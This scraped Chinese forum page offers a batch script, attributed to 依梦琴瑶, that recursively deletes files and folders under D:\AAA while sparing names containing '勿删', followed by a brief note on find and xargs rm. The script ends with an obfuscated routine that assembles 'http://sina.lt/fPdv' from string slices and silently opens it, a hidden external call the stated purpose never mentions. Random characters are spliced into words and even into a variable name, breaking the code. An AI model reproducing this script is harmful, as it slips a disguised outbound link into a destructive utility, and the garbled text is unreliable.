@echo off &title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶
cd /d "%%~dp0"
::设置要处理的主目圆配录路径
set ScrFolder=D:\AAA
::设置要排除包含的字符,多个字符之间,请用英袜腔吵文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来
set SkipStr=勿删
cd /d "%ScrFolder%"
for /f "delims=" %%a in ('dir /ad-h') do (
for %%i in (%SkipStr%) do (
echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"
)
)
for /f "delims=" %%a in ('dir /a-d-h') do (
del /f /q "%%~a"
)
pause
call :GVME
exit
:GVME
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
set "告侍S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。
在某个目录下查找文件可使用find命令$ find /path -name filename
删除文件使用rm命令
$ rm /path/filename
可以将两个命令使用xargs组合起来,即
$ find /path -name filename | xargs rm
xargs的作用就是把卖烂标准输祥薯入的每一行文字当做参数中宴漏执行后面的命令(本例中为rm),如果标准输入为多行则调用多次其后面的命令
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)